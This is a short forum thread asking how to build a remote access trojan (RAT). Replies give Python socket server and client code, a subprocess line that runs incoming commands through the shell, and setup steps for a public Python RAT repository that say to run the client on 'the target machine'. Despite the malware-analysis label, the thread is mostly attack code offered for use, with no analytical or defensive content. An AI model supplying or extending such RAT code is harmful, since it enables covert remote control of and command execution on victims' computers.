How to create a RAT

Malware Analysis
1

Hello, I want to know how to create a RAT manually, because this is part of my job

2

This is in a python3 file format

THE SERVER

import socket

hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)

HOST = "127.0.0.1" #replace by local_ip if you want to use different machines

PORT = 65432

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        while True:
            data = conn.recv(2048)
            msg = data.decode()
            if(msg == "exit"):
                print("Bye")
                break
            print("Message received: ",msg)
            conn.sendall(data)

THE CLIENT

import socket

HOST = '127.0.0.1'  
PORT = 65432        

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while(True):
        msg = input("Your command: ")
        s.sendall(str.encode(msg))
        if(msg == "exit"):
            print("Bye")
            break
        data = s.recv(2048)
        print("Received: ", data.decode())

For this step, we need a way to execute cmd.exe commands with Python 3. To do so I used the Python 3 package: subprocess, as such:

msg = subprocess.check_output(command, shell=True, universal_newlines=True)

This line of code will send the “command” to be executed by the shell and return the output that is stored in the variable msg.

I tested this locally and it works just fine, see the example below with the “dir” command:

I hope you found this helpful!

3

To settup and run the code you do this…

pip install colorama

Setup

  1. Clone the repo

git clone GitHub - k200-dev/Simple-Python-RAT: Windows Remote Access Tool with support for uploads, downloads and fun commands.

  1. Fill in the values in client.py and server.py

ratClient = RATConnector(“ENTER IP ADDRESS”, ENTER PORT) activeServer = Server(“ENTER IP ADDRESS”, ENTER PORT)

Usage

Run server.py on your local machine and client.py on the target machine. Run ratHelp in the terminal to see a list of commands